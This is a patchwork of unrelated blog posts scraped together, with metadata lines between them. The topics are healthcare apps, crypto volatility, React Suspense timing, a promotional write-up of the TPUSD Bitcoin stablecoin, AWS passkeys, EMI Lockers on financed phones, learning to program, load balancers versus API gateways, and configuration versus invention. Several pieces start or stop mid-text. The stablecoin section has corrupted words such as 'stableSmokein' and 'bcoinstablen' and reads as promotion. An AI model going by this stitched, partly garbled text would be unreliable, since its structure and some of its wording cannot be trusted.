## What are Healthcare Apps?
Health/Healthcare/mHealth app solutions are all about connecting patients with their doctors through measurable outcomes. Despite the rapid market growth and potential, many policies and compliances are set in motion, leading to confusion among developers and companies as they navigate the complex regulatory landscape. For better clarity, it is imperative to know that there are
**Wellness/Health apps:**
[Wellness or health apps](https://www.peppersquare.com/case_study/black-lotus/) are designed to promote healthy living and well-being, often focusing on lifestyle factors such as nutrition, exercise, and stress management. These apps typically provide users with tools to track their progress toward health goals, such as counting calories or monitoring physical activity and may include features such as reminders, social support, and gamification to motivate users to adopt healthy behaviors. Examples of wellness/health apps include Fitbit, MyFitnessPal, and Headspace.
**Healthcare/mHealth apps:**
Healthcare or mHealth (mobile health) apps are designed to support healthcare professionals in providing medical care and treatment to patients. In addition, these apps can facilitate communication between healthcare providers and patients, provide access to medical information and health records, and support the delivery of healthcare services, such as telemedicine or remote monitoring. Examples of healthcare/mHealth apps include Medscape, Epocrates, and Zocdoc.
**Medical devices/apps:**
Medical devices or apps are built to diagnose, monitor, or treat medical conditions. These apps often require regulatory approval from agencies such as the U.S. Food and Drug Administration (FDA) before being marketed to consumers. Medical devices/apps can include hardware devices such as glucose meters or blood pressure monitors that communicate with mobile apps and software-only apps that use sensors or other data inputs to monitor health conditions or provide medical guidance. Examples of medical devices/apps include ECG monitors, insulin pumps, and hearing aids that can be controlled via mobile apps.
## Fail-proof ways to build a scalable healthcare app
Building a scalable healthcare app can be challenging due to the complex regulatory requirements and security concerns in the healthcare industry. However, with careful planning and execution, it is possible to build a healthcare app that is scalable and secure. Here are five steps to follow:
The first step in building a scalable healthcare app is to define the problem you are trying to solve and identify your target audience. Next, conduct market research and gather user feedback to understand your target audience’s needs and pain points.
Once you have a clear understanding of the problem and target audience, it’s time to plan the architecture and features of your healthcare app. Work with experienced healthcare app developers to design a scalable, secure, and compliant architecture with healthcare regulations. Determine the essential features that your app must have to solve the problem and meet the needs of your target audience.
Selecting the right technology stack is crucial for building a scalable healthcare app. Consider your app’s scalability, security, and regulatory compliance requirements when choosing the technology stack. Also, choose technologies compatible with the healthcare industry standards and regulations.

I knew it was only a matter... | 0 | 2024-06-25T05:23:32 | https://dev.to/rohitelyts/watch-for-lightning-1hdk | jlabsdigital, lightning, espresso, thunderous | The clouds began to darken while the cool breeze came rolling through.
I knew it was only a matter of time before the skies opened up, cleansing the hot ground below with buckets of rain.
This was mother nature’s signal that it was time for me to take cover under my porch and watch the rain play out.
There are few things I enjoy more than a summer storm.
Especially the kind that creeps in unexpectedly late in the afternoon after a hot long day in the sun…
It’s a refreshing change that reminds me to slow down and calm my otherwise hectic overheated mind.
I’ve done it ever since I was a kid, and my favorite part has always been catching the huge crashes of lightning that often accompany the storm.
One moment the environment is calm and docile, the next a giant flash comes bolting out of the sky leaving an earth shaking echo of thunder in its wake.
It’s startling if you’re not prepared for it.
Sometimes it’s violent enough to wake you up from a deep sleep.
But if you’re actively watching the storm play out, it’s not surprising at all. There’s always a few moments of delay between when the lightning strikes and the thunder roars.
I bring this up now because it reminds me a lot of what’s been going on with crypto volatility (or lack thereof) in recent weeks.
We’re in the calm phase of the storm, with prices slowly chopping down. And we only have raindrops, no flashes of lightning before a thunderous boom.
This lack of volatility and the boredom is lulling most people to sleep.
Meanwhile those of us who are actively monitoring the storm each day know that before too long, the roaring thunder of increased volatility will arrive again and startle the market back to life. | rohitelyts |

In... | 0 | 2024-06-25T05:05:35 | https://dev.to/alexandereardon/wait-for-pending-a-not-great-alternative-suspense-algorithm-1gdl | react, javascript | There is some [great discourse](https://github.com/facebook/react/issues/29898) going on about how `<Suspense>` timing should work in `react@19`.
In this post I explore what a `<Suspense>` algorithm would look like if all pending promises in a `<Suspense>` boundary were resolved before trying to re-render.
> This started as a scratch pad, then a proposal, then I saw some problems with the approach... but I thought I would record and share it all the same. Maybe it might lead to some other _better_ ideas!
### TLDR
'Wait for pending' is an interesting variation of the `react@18` and `react@19` (alpha) `<Suspense>` algorithms. For flat async trees, 'wait for pending' allows for fast calling of render functions, and minimal re-renders. For trees with nested async components, child async components will have their initial render called slower than the `react@18` algorithm.
## Background
**`<Suspense>` in `react@18`**
- render all possible components inside a `<Suspense>` boundary.
- Re-render when any promise resolves
- Continue until no more components throw a promise
Results in lots of rerenders, but allows parallelization of 'fetch in render' calls, and all components will have their render called as quickly as possible.
**`<Suspense>` in `react@19` (alpha)**
- stop rendering tree when a component throws a promise
- wait for promise to resolve
- re-render tree
- Continue until no more components throw a promise
Results in minimal rerenders - but causes 'fetch in render' calls to be sequential (waterfall)
## 'Wait for pending' algorithm
Here is an _idea_ for `<Suspense>` timing ('wait for pending'):
- Always render siblings, even when they throw (like `Suspense` in `react@18`)
- Don't re-render children until _all_ currently thrown promises are resolved.
_Let's see how it goes!_
'Wait for pending' is similar to the current `react@18` `<Suspense>` algorithm, except that rather than rendering all children when _any_ thrown promise resolves, only render when all currently thrown promises resolve.
- Allows for 'fetch in render' in siblings to trigger parallel fetches
- Still has a great story for pre-fetching
- Reduces the waste caused by re-rendering possibly expensive components
- Expensive component renders along side siblings that `throw` will still be redundant. But, at least these redundant renders are reduced
- 👎 Can slow down nested 'fetch in render' calls (see below)
_Rough algorithm_
1. render children
2. if no thrown promises, done - otherwise go to step 3
3. wait for _all_ thrown promises to resolve
4. go to step 1.
### Example 1: Only siblings
```tsx
<Suspense fallback={'loading'}>
<A />
<B />
<Suspense>
```
In this example, both `A` and `B` have a `fetch` for data in their render
#### `react@18`
_Render 1_
- `A` renders, but throws a promise
- `B` renders, but throws a promise
_Render 2_
- promise from `A` resolves
- `A` renders
- `B` renders, but throws a promise
_Render 3_
- promise from `B` resolves
- `A` renders
- `B` renders
#### `react@19` alpha timing
_Render 1_
- `A` renders, but throws a promise
_Render 2_
- promise from `A` resolves
- render `A`
- render `B`, but `B` throws a promise
_Render 3_
- promise from `B` resolves
- render `A`
- render `B`
😢 causes waterfalls if you fetch (throw) in renders
😊 avoids excessive re-rendering potentially expensive components
#### Wait for pending
_Render 1_
- `A` renders, but throws a promise
- `B` renders, but throws a promise
- **wait for `A` and `B` to resolve**
_Render 2_
- `A` renders
- `B` renders
✅ In this case, the proposed algorithm yields great results!
### Example 2: With children
Here is where 'wait for pending' strains.
Now `A` renders children `ChildX` and `ChildY` which also do a 'fetch in render'
```tsx
<Suspense fallback={'loading'}>
<A>
<ChildX />
<ChildY />
</A>
<B />
<Suspense>
```
#### `react@18` algorithm
_Render 1_
- `A` renders, but throws a promise
- `B` renders, but throws a promise
_Render 2_
- promise thrown by `A` resolves
- `A` renders
- `ChildX` renders, but throws a promise
- `ChildY` renders, but throws a promise
- `B` renders, but throws a promise
_Render 3_
- promise thrown by `ChildX` resolves
- `A` renders
- `ChildX` renders
- `ChildY` renders, but throws a promise
- `B` renders, but throws a promise
_Render 4_
- promise thrown from `ChildY` resolves
- `A` renders
- `ChildX` renders
- `ChildY` renders
- `B` renders, but throws a promise
_Render 5_
- promise thrown from `B` resolves
- `A` renders
- `ChildX` renders
- `ChildY` renders
- `B` renders
✅ `ChildX` and `ChildY` get rendered as early as possible
😢 Lots of redundant re-rendering
#### `react@19` alpha algorithm
_Render 1_
- `A` renders, but throws a promise
_Render 2_
- promise from `A` resolves
- render `A`
- render `ChildX`, but `B` throws a promise
_Render 3_
- promise from `ChildX` resolves
- render `A`
- render `ChildX`
- render `ChildY`, but `ChildY` throws a promise
_Render 4_
- promise from `ChildY` resolves
- render `A`
- render `ChildX`
- render `ChildY`
- render `B`, but `B` throws a promise
_Render 5_
- promise from `B` resolves
- render `A`
- render `ChildX`
- render `ChildY`
- render `B`
#### Proposed algorithm
_Render 1_
- `A` renders, but throws a promise
- `B` renders, but throws a promise
- **wait for `A` and `B` to resolve**
_Render 2_
- promise thrown by `A` and `B` resolve
- `A` renders
- `ChildX` renders, but throws a promise
- `ChildY` renders, but throws a promise
- `B` renders
- **wait for `ChildX` and `ChildY` to resolve**
_Render 3_
- promise thrown by `ChildX` and `ChildY` resolve
- `A` renders
- `ChildX` renders
- `ChildY` renders
- `B` renders
✅ A lot less redundant rendering than the `react@18` algorithm
👎 `ChildX` and `ChildY` need to wait for `B` to resolve before kicking off their 'fetch in render' calls. They had to wait for the slowest sibling of their parent to resolve before they could kick off their promises.
🤔 More parellisation than the `react@19` algorithm, but slower to kick off initial renders for all components than `react@18`.
## Closing thoughts
'Wait for pending' is an interesting approach.
For flat async trees, 'wait for pending' allows for fast calling of render functions, and minimal re-renders. However, when there trees with nested async components, async child components have to wait for their parents siblings to finish rendering before their initial render function is called. If the nested component was doing an expensive operation (such as a network call), then triggering the initial renders as quickly as possible is ideal (the `react@18` algorithm). The 'wait for pending' is similar to the `react@19` approach - except that each level can be parellised.
It was interesting to think about what a different `<Suspense>` algorithm could look like! Thanks for making it this far 😅.

Before delving into how the Bitcoin-native stablecoin TPUSD can be integrated into the GameFi sector, it is crucial to have a deeper understanding of the specific challenges currently faced by GameFi and the issues that the Bitcoin stablecoin TPUSD aims to address.
With the widespread adoption of cryptocurrencies and NFTs, the GameFi sector has experienced rapid growth over the past few years. Despite significant fluctuations in the overall crypto market, especially during the market adjustment period in 2022, the interest and user base in the GameFi sector have continued to grow. A variety of GameFi projects have attracted the participation of players globally, such as the "Play-to-Earn (P2E)" models, where players can earn real-world economic rewards through gaming activities.
Despite market fluctuations, many venture capitalists and investors remain optimistic about the long-term prospects of GameFi, continuing to invest in this sector. According to the latest data from RootDATA, since the beginning of 2024, the highest amount raised in March reached $158 million.
GameFi projects are continually innovating, incorporating more complex game mechanics and advanced blockchain functionalities. However, this also introduces several challenges, including issues with ease of depositing funds, asset security, and balancing gameplay with economic rewards.
Current Challenges in GameFi Ease of Depositing Issues:
Ease of Depositing Issues: Currently, GameFi projects generally require users to purchase NFTs or specific tokens to participate in the games. This not only necessitates a certain level of cryptocurrency knowledge on the part of the player but also involves trading through cryptocurrency exchanges, which presents a relatively complex barrier to entry for new users.
Asset Security Issues: Cryptocurrencies and NFTs, serving as main assets within games, are vulnerable to cyber attacks and fraud. Although blockchain technology itself offers some level of security, incidents like wallet hacks and exchange vulnerabilities still occur.
Balancing Gameplay with Economic Rewards: In GameFi projects, there is often a tendency to sacrifice the quality of the gaming experience for economic gain, which can lead to a rapid loss of interest among players.
**Potential Impacts of a Native Bitcoin Stablecoin**
In this context, the introduction of a native Bitcoin stablecoin could offer several potential benefits:
Simplification of Payment Processes: A stablecoin, pegged to a traditional currency, can provide a more stable foundation for transactions. A Bitcoin stablecoin could be used directly to purchase in-game assets, eliminating the complex steps required to convert fiat currency into cryptocurrency, thereby lowering the barrier to entry.
Enhanced Asset Security: The Bitcoin network is one of the most secure blockhomes today. By leveraging its security features, a Bitcoin stablecoin could offer a safer method of asset storage compared to current solutions.
Increased Economic Efficiency: Bitcoin stablecoins could expedite transaction speeds and reduce transaction costs. This is particularly important in the GameFi environment, which requires fast and frequent transactions.
New Channels for Capital Inflow: The introduction of a native Bitcoin stableSmokein could attract more investors to the GameFi sector. Such stablecoins, being directly linked to Bitcoin—a widely recognized and trusted asset—carry heightened trust and security. For traditional investors already interested in Bitcoin, this new type of stablecoin provides a comparatively low-risk entry point.
More Stable Game Economic Systems: GameFi projects often involve in-game economies, where players earn tokens by participating in the game. Traditional cryptocurrencies like Bitcoin and Ethereum have significant volatility, posing risks to both players and developers. The introduction of a native Bitcoin bcoinstablen provides a more stable currency unit, reducing the impact of external market fluctuations on the in-game economy, allowing players and developers to focus more on the gameplay itself.
The introduction of the native Bitcoin stablecoin TPUSD into GameFi could be a game-changer, providing users with a simpler, safer, and more economically efficient way to participate. However, the successful implementation of this technology requires close cooperation and coordination among developers, users, and regulatory bodies. Leveraging the Bitcoin consensus mechanism and stability, the Bitcoin stablecoin has the potential to facilitate the shift of GameFi to a broader audience and achieve true mass market adoption.
About TPUSD
[TPUSD](https://terplayer.org/market) is a native Bitcoin stablecoin issued by TerpLayer and is the first stablecoin under the RUNE-S0 protocol. The issuance of TPUSD includes four steps: generation, issue, acceptance, and destruction. Both generation and destruction are managed by multi-signature, and the generated Token does not circulate in TPUSD's vault until it is issued into the market after users deposit an equivalent value of stablecoin.
The accepted Token is also retained in the TPUSD vault to be reissued or destroyed depending on market demand. Typically, after generating the Token, TPUSD announces its issuance to the entire network via Twitter to ensure transparency of funds. The key to TPUSD maintaining its value lies in users' and the market's trust in its acceptability. TerpLayer has set up a series of processes to support users in exchanging TPUSD for an equivalent value of other stablecoins at any time, ensuring the security of user funds and increasing market confidence.
TPUSD, initially linked 1:1 to other stablecoins like USDT and eventually supporting others like USDC, is an ERC20 token that can be issued through Terp Adapter to create TPUSD/Rune cross-chain. For every TPUSD issued, there is one USDT backing it, meaning if a user wants to redeem 100,000 TPUSD, they need to pledge 100,000 USDT without an over-collateralization requirement.
TPUSD maintains its stability through a series of inherent safety measures and mechanisms. Firstly, multi-signature management reduces security risks and potential abuses. Additionally, equivalent collateral deposits and regular audits ensure that each TPUSD has adequate real-world financial backing. The destruction mechanism regulates the money supply to avoid devaluation due to market saturation. These features together build a robust system, ensuring TPUSD’s value as a scarce resource and its utility as a medium of exchange.

1,899,568 | AWS Enhances Security with Passkeys and Mandatory MFA for Root Users | Amazon Web Services (AWS) has taken a significant step forward in enhancing the security of its cloud... | 0 | 2024-06-25T04:46:27 | https://dev.to/maxhar/aws-enhances-security-with-passkeys-and-mandatory-mfa-for-root-users-42db | webdev, aws | Amazon Web Services (AWS) has taken a significant step forward in enhancing the security of its cloud platform by introducing FIDO2 passkeys as a new multi-factor authentication (MFA) method and mandating MFA for root user accounts.
Passkeys: A Phishing-Resistant Authentication Solution
AWS has added support for FIDO2 passkeys, a new authentication method that leverages public key cryptography to provide a more secure and user-friendly alternative to traditional one-time passwords.
Passkeys are physical (hardware keys) or software-based authentication solutions that generate a unique public-private key pair for each service or website. During the authentication process, the passkey signs a challenge sent by the server, verifying the user's identity.
Unlike one-time passwords, passkeys are resistant to phishing and man-in-the-middle attacks, as they do not rely on shared secrets that can be intercepted. Passkeys are also syncable across devices and support multiple operating system architectures, providing a seamless user experience.
AWS customers can now create and use syncable software passkeys as an MFA method for their AWS accounts, unlocking them through biometric authentication on their devices, such as Apple Touch ID or Windows Hello.
**Mandatory MFA for Root Users**
In addition to the introduction of passkeys, AWS is also taking a significant step towards enhancing the security of its platform by mandating MFA for root user accounts.
Root user accounts have the highest level of access and can make significant changes to the AWS environment, making them prime targets for attackers. Starting in July 2024, standalone root account users will be required to enable MFA to access the AWS Management Console.
This requirement will initially impact a small number of customers, with the rollout gradually expanding over several months to give users a grace period. A pop-up alert will be displayed at sign-in to remind impacted account holders of the new requirement.
While the initial mandate will only apply to root users, AWS plans to extend the MFA requirement to other user categories, such as root users of member accounts in AWS organizations and general user accounts. However, the details of this expansion will be shared later in the year.
The Importance of MFA and Passkeys
MFA is a crucial security measure that adds an extra layer of protection to prevent unauthorized access, even if an attacker manages to obtain the account's credentials. By mandating MFA for root users, AWS is taking a significant step towards reducing the risk of account hijacks and the resulting data breaches, service disruptions, and other potential consequences.
Passkeys, on the other hand, offer a more secure and user-friendly alternative to traditional MFA methods. By leveraging public key cryptography and eliminating the need for shared secrets, passkeys are inherently resistant to phishing and other common attack vectors.
AWS's decision to support passkeys as an MFA option aligns with the industry's push towards more secure and convenient authentication solutions, reducing the reliance on passwords and improving overall account security.
In conclusion, AWS's introduction of passkeys and the mandatory MFA requirement for root users demonstrate the company's commitment to enhancing the security of its cloud platform. These measures will help protect AWS customers from the growing threat of account compromises and the associated risks, ensuring the continued reliability and trustworthiness of the AWS ecosystem.

But what happens when those EMI payments become a burden? Enter EMI Lockers, a concept revolutionizing how e-commerce platforms manage financed purchases. This article dives into the world of EMI Lockers and explores their impact on both consumers and businesses offering EMI payment options.
Understanding EMI Lockers:
An EMI Locker acts as a security measure employed by some e-commerce platforms and financing institutions. It essentially restricts access to certain functionalities of a financed device until the customer fulfills their EMI obligations. This typically involves installing a software application on the device or remotely managing functionalities through the device's operating system.
[Mastering TradingView: A Comprehensive Guide to Using the ZigZag Indicator](https://www.amazon.com/dp/B0CVHHK15N)
How EMI Lockers Work:
The specific implementation of an EMI Locker can vary, but the core principle remains consistent:
1. Financing and Purchase: A customer purchases a product using an EMI payment plan through a participating e-commerce platform.
2. EMI Locker Activation: Upon purchase confirmation, the EMI Locker software is activated on the financed device.
3. Restricted Functionalities: While core functionalities like basic calling and texting remain accessible, features like internet access, camera usage, or app downloads might be restricted until EMI payments are complete.
4. Regular Payment Tracking: The EMI Locker system tracks the customer's payment history, unlocking functionalities progressively as payments are made on time.
5. Full Payment and Unlocking: Once all EMI payments are fulfilled, the EMI Locker is deactivated, and the customer regains full access to all device functionalities.
Benefits of EMI Lockers:
- Reduced Delinquency Rates: The potential restriction of functionalities serves as a motivator for timely EMI payments, potentially reducing delinquency rates for lenders and e-commerce platforms.
- Improved Cash Flow: By ensuring consistent payments, EMI Lockers can improve cash flow for financing institutions, allowing them to offer more attractive EMI options in the future.
- Enhanced Customer Experience: A transparent and structured approach to EMI management can create a more positive customer experience by fostering responsible borrowing habits.
- Minimized Risk: EMI Lockers mitigate the risk of customers defaulting on their loans, protecting the financial interests of lenders and platforms offering EMI plans.
Potential Drawbacks of EMI Lockers:
- Privacy Concerns: Some consumers might express concerns about the potential privacy implications of having software that monitors their device usage.
- Ethical Considerations: Critics argue that EMI Lockers could be seen as a predatory practice, putting undue pressure on borrowers who might already be facing financial difficulties.
- Technical Issues: Malfunctions or technical glitches with the EMI Locker software could lead to frustration for customers who are unable to access certain device features despite fulfilling their payment obligations.
The Future of EMI Lockers:
The concept of EMI Lockers is still evolving, and regulations might be implemented to ensure responsible and ethical implementation.
Here are some potential future trends:
- Increased Transparency: Clear disclosures regarding EMI Lockers and the specific functionalities that might be restricted will be crucial for consumer trust.
- Customizable Restrictions: Platforms might offer tiered restrictions, allowing customers with good payment histories to access a wider range of functionalities even before their loans are fully paid off.
- Focus on User Experience: The design and implementation of EMI Lockers will likely prioritize ease of use and a seamless user experience for customers.
Conclusion:
EMI Lockers represent a novel approach to managing EMI payments, offering potential benefits for both lenders and borrowers. However, it’s crucial to consider potential drawbacks and ensure responsible implementation that prioritizes transparency and user experience. As the concept continues to evolve, finding a balance between financial security and consumer trust will be paramount in the future of EMI payments.

The first method (common... | 0 | 2024-06-25T04:36:46 | https://dev.to/itric/a-better-way-to-learn-programming-h6l | learning, coding, beginners | In this post, I will be talking about two methods to learn how to program.
The first method (common method) is a step-by-step tutorial approach like following a tutorial. It goes something like this: "Step one, create this component." The tutorial then provides you with detailed instructions on how to create that specific component. "Step two, do this," and you follow the next set of instructions. And when instructions finish you study and repeat the same instruction. This method gives you precise steps to follow. However, the issue here is that the person who created these steps went through a trial-and-error process themselves. They tried something, it didn't work, so they tried something else. They repeated this process until they found a solution that worked. What you're doing by following these steps is simply replicating their final result, which doesn't foster deep learning or problem-solving skills.
Second method:
The better way to learn programming involves a more exploratory approach. Instead of providing exact steps, a good teaching method will explain concepts like, "Here’s how you create a component," and, "Here’s how you do this." After explaining these fundamental concepts, the instructor will give you a project, like, "Now, I want you to build X." You attempt to build X on your own, applying the concepts you've learned. At the end, the instructor will show you how they would build X. This method is beneficial because it allows you to struggle and fail, which is where real learning happens. By encountering and overcoming obstacles on your own, you develop a deeper understanding and become a more proficient programmer.
In my view, this is what learning to program looks like:
You start by learning a little bit (like a new concept) and trying to apply it. You struggle, you fail, and you try again. You research a lot of things, discovering new concepts and techniques along the way. You then try to arrange all of these new ideas around a specific problem you're trying to solve, making sense of them in your own context. Eventually, you find a way to apply the information you’ve learned, and this is how you grow in understanding and skill.
An additional note I'd like to share is this: whenever you learn a new piece of information, always ask yourself, "How does this relate to what I already know?" This approach helps you integrate new knowledge with existing understanding, building expertise and deepening your knowledge over time.
Additionally, I believe the most effective way to learn is not to rely on someone else doing it with you, even though that might seem like a quick way to find the right answer. Instead, it's far more valuable to embrace the process of failing and discovering the context on your own. The essence of learning, especially in programming, lies in grappling with and understanding the complexities of state and state manipulation.
The real challenge in programming isn't typically about writing functions; those are often straightforward. The difficulty arises in comprehending how the state evolves and flows through the system. This understanding requires extensive debugging and hands-on experience. By immersing yourself in the process and tackling these challenges independently, you build a deeper, more nuanced understanding of how everything fits together. This journey, though time-consuming, ultimately fosters a more robust and enduring grasp of programming concepts.
Happy coding! with struggle. | itric |
1,899,560 | Load Balancer vs Reverse Proxy vs API Gateway | In large scale systems terms like Load Balancer, Reverse Proxy, and API Gateway often comes up. Lot... | 0 | 2024-06-25T04:32:43 | https://dev.to/manojgohel/load-balancer-vs-reverse-proxy-vs-api-gateway-3ged | aws, api, javascript | In large scale systems terms like Load Balancer, Reverse Proxy, and API Gateway often comes up. Lot of times these words will be used interchangeably, but it is important to understand the difference between them. Once you understand them then it makes it easy to choose which fits your problem very easily.
## Real life analogies
Let us take 3 examples and explain each of them.
> Let us take a very busy restaurant, when we enter the restaurant, we will be greeted by host/hostess who is responsible for greeting and seating the guests evenly across waiters so that they can provide best experience for guests. In this case the host/hostess is nothing but L**oad Balancer**.
>
> If you look at mailrooms in offices, there will be receptionists who take care of packages and letters. They do lot of work like sorting mails, deliver mail to employees/departments, take inventory of mailing supplies, forwarding misdirected mail, and signing off on certified mail etc. In this case they do more than just sorting and delivering mail to employees (which you can assume as load balancing), and that receptionist is nothing but **Reverse Proxy**.
>
> If you go to a library, you will meet librarians who does lot of works like helping people find books and resources, verify library identity card, manage staff, responding to enquiries, make sure not one person borrowing too many books, etc. They do more work than what a receptionist does in above case and in this case, librarian is nothing but **API Gateway**.
Hopefully above examples provided enough context for you to understand the differences between all three. In simple words both Reverse Proxy and API Gateway provides load balancing features along with other functionalities. Also, API Gateway is a specific type of reverse proxy designed for managing APIs. We will dig deep into each of them.
# Load Balancer
In this section we will look at what is load balancer, what are different types of load balancers and various load balancing algorithms. Contemporary websites with high traffic face the challenge of handling concurrent requests from numerous users. Whether it’s serving text, images, video, or application data, meeting these demands requires a substantial increase in processing power, often achieved by adding more servers. To maximize the efficiency of all servers, the incoming requests need to be distributed among them. This process of distributing network traffic across a group of backend servers is known as Load Balancing. The diagram below illustrates a typical load balancer environment.
The Load Balancer, a software component dedicated to load balancing, resides in front of the servers. Often referred to as a reverse proxy, it acts on behalf of the servers by receiving and routing requests. The load balancer efficiently manages requests, ensuring quick service. In the event of a server crash, the load balancer redirects traffic to other active servers. When a new server joins the group, the load balancer automatically starts routing requests to it.
Moreover, the load balancer can be configured to perform health checks on the registered backend servers. These health checks act as tests to verify the availability of the backend servers.
# Load Balancer Types
There are different types of load balancers but below are the important ones.
- Network Load Balancer / Layer 4 (L4) Load Balancer — The Network Load Balancer functions at Layer 4, specifically handling TCP traffic. It distributes traffic at the transport level, making routing decisions based on network variables such as IP addresses and destination ports. This load balancer focuses solely on network layer information when directing traffic.
- Application Load Balancer / Layer 7 (L7) Load Balancer — Operating at Layer 7 of the OSI model, the Application Load Balancer distributes the load based on parameters at the application level. This load balancer enhances the security and simplifies the application by always ensuring the use of the latest SSL/TLS ciphers and protocols.
# Load Balancer Algorithms
## Static Algorithms
- Round robin — Client requests are sequentially sent to different service instances. Typically, statelessness is required for the services.
- Sticky round-robin — An enhanced version of the round-robin algorithm where subsequent requests from a client go to the same service instance that handled the initial request.
- Weighted round-robin — The administrator can assign weights to each service, determining the proportion of requests each service handles.
- Hash — This algorithm applies a hash function to the IP or URL of incoming requests. The instances to which requests are routed depend on the hash function’s result.
## Dynamic Algorithms
- Least connections — new requests are directed to the service instance with the fewest concurrent connections.
- Least response time — new requests are sent to the service instance with the quickest response time.
## Benefits of Load Balancer
- Efficiently distributes client requests or network load among multiple servers.
- Enhances response time by alleviating the load on specific servers.
- Ensures high availability and reliability by directing requests only to online servers.
- Facilitates scalability by dynamically adding or removing servers based on network requirements.
- Enables early detection of failures, allowing effective management without impacting other resources.
- Provides SSL termination, reducing the computational load on web servers by handling SSL traffic decryption.
- Enhances security with an additional layer of protection, defending systems against distributed denial-of-service (DDoS) and other attack types.
## Issues with Load Balancer
- If not set up correctly, it will become a single point of failure.
- Requires careful configuration and monitoring.
# Reverse Proxy
A reverse proxy functions as a mediator between clients and servers. Clients interact solely with the reverse proxy to reach backend servers, as the proxy forwards requests to the relevant server. This mechanism conceals the implementation specifics of individual servers within the internal network. As shown below, a reverse proxy sits in front of an origin server and ensures that no client ever communicates directly with that origin server.
A reverse proxy is frequently employed for:
- Load distribution via Load balancing.
- Caching — For repeated requests, it can independently respond, either in part or in full. Frequently accessed content is stored in the proxy cache, reducing the need to fetch data from the backend and providing clients with quicker responses.
- Security measures — It provides the option to implement control systems like antivirus or packet filters. These systems, situated between the Internet and the private network, offer added protection for the backends.
- SSL termination — It can be set up to decrypt incoming requests and encrypt outgoing responses, thereby freeing up valuable backend resources.
Reverse proxies function at Layer 7 (application layer) of the OSI model, where they manage requests and responses at the HTTP level. This allows them to provide advanced features and functionalities. One such capability is URL rewriting, simplifying complex URLs and enhancing SEO.
## Benefits of Reverse Proxy
By implementing a reverse proxy, a website or service can maintain the confidentiality of its origin server(s)’ IP addresses. This adds a layer of protection against targeted attacks, like DDoS attacks, as attackers can only direct their efforts towards the reverse proxy. The reverse proxy, being more secure and resource-equipped, provides enhanced defense against cyber-attacks. Other benefits include Caching and SSL Termination.
# API Gateway
Consider the Gateway API as an expanded version of a Reverse Proxy. The API Gateway not only forwards requests but also conceals from clients the backend partitioning in the architecture. It goes beyond simple request forwarding, potentially engaging in orchestration or aggregation. This simplifies client code and reduces the number of API requests/roundtrips. Additionally, instead of interacting with multiple backends, clients communicate solely with the API gateway. Another noteworthy aspect involves Protocol Translation, where the API Gateway can convert protocols (e.g., XML to JSON, gRPC to JSON) to facilitate client-server integration. The API Gateway serves as a pivotal tool in addressing various essential capabilities such as security, reliability, scalability, observability, and traceability.
## Key Features of API Gateway
- Request Routing — Guides incoming requests to the relevant service.
- API Composition — Combines multiple services into a unified API.
- Rate Limiting — Manages the volume of requests a user can make to an API within a defined time.
- Security — Incorporates features such as authentication and authorization.
- Centralized Management — Offers a unified platform for managing all aspects within our ecosystem.
- Analytics and Monitoring — Enables comprehensive analysis and tracking capabilities.
# API Gateway Internal Steps
In below diagram the blocks in blue are the steps through which HTTP request goes through. The blocks in yellow are other functionalities API Gateway provides while processing the HTTP requests.
- Parameter Validation — The API gateway examines and validates the attributes within the HTTP request.
- Allow/Deny List — API gateway assesses allow/deny lists for request validation.
- Authentication & Authorization — API gateway verifies and grants authorization through an identity provider.
- Rate Limit — Rate-limiting rules are enforced, and requests exceeding the limit are declined.
- Dynamic Routing and Service Discovery — The API gateway directs the request to the relevant backend service using path matching.
- Protocol Conversion — API gateway converts the request into the suitable protocol and relays it to backend microservices.
- Error Handling — The API gateway manages any encountered errors during request processing to ensure graceful service degradation.
- Circuit Break — The API gateway incorporates resiliency patterns such as circuit breaks to identify failures, preventing the overload of interconnected services and mitigating cascading failures.
- Logging and Monitoring — Utilizing observability tools like the ELK stack (Elastic-Logstash-Kibana), the API gateway facilitates logging, monitoring, tracing, and debugging.
- Cache — The API gateway may choose to cache responses for recurring requests, enhancing overall responsiveness.
# Key differences between three
- API Gateways specialize in API management, Load Balancers distribute network traffic, and Reverse Proxies ensure secure request forwarding.
- While both API Gateways and Reverse Proxies can manage request routing, their core objectives vary.
- Load Balancers primarily function at the transport layer, whereas API Gateways and Reverse Proxies operate at the application layer.
More differences shown below.
# When to use which?
- Load Balancers excel in distributing network traffic to enhance availability, scalability, and even load distribution across multiple servers, commonly applied in web applications and services.
- API Gateways focus on the management, security, and optimization of APIs within microservices architectures. Their pivotal role involves exposing, securing, and controlling access to APIs.
- Reverse Proxies find application in security, performance optimization, and load balancing. They are frequently utilized in web servers, caching solutions, and as integral components of application delivery networks.
Navigating the intricate landscape of load balancers, reverse proxies, and API gateways might seem challenging, but armed with the right knowledge, you’re now equipped to make informed decisions and select the ideal components for your web application. Keep in mind that load balancers distribute traffic across multiple backend servers, reverse proxies provide additional application-level features, and API gateways offer centralized management and security for microservices-based applications.
Moreover, feel free to explore a mix-and-match approach with these components for optimal results. Combining load balancers, reverse proxies, and API gateways allows you to construct a web architecture that is not only efficient but also secure and scalable. Embrace the power of these components to unlock the full potential of your application.

1,899,557 | Configuration Over Invention and Vice Versa: A Guide for Future Creators | Hey Future Creators! We all have fond memories of playing with LEGO bricks, don’t we? I remember... | 0 | 2024-06-25T04:29:25 | https://dev.to/hbetabessi/configuration-over-invention-and-vice-versa-a-guide-for-future-creators-5640 | programming, productivity, learning, coding | Hey Future Creators!
We all have fond memories of playing with LEGO bricks, don’t we? I remember those moments when I could build anything my imagination dreamed up. You had the choice between using a spaceship kit with instructions or scattering random LEGO bricks to create your own unique design. Both ways were super fun, but they were quite different. In the world of technology and programming, we have similar choices, which we call "Configuration over Invention" and "Invention over Configuration."
## **Configuration Over Invention: Using the Spaceship Kit**
Think of "Configuration over Invention" like using a LEGO spaceship kit. The kit comes with all the pieces you need and a detailed instruction manual. You follow the steps, put the pieces together, and voilà—you have a cool spaceship! You didn’t need to come up with a new design or hunt for the right bricks; you just followed the plan and built something awesome.
In technology and programming, this means using tools and frameworks that provide a lot of the code and structure for you. You just need to adjust a few settings (or configurations) to make it work the way you want. Here are some examples:
- WordPress: Imagine you want to create a blog. With WordPress, you can pick a theme, add some plugins, and customize the settings. In no time, you have a professional-looking blog without writing much code.
- Minecraft Mods: When you install a mod in Minecraft, you’re configuring your game to have new features or items. You didn’t have to invent those items from scratch; someone else created them, and you’re just adding them to your game.
- Smartphone Apps: Many apps let you customize settings to suit your preferences. You’re configuring the app to work the way you want without needing to know how to code.
## **Invention Over Configuration: Building from Scratch**
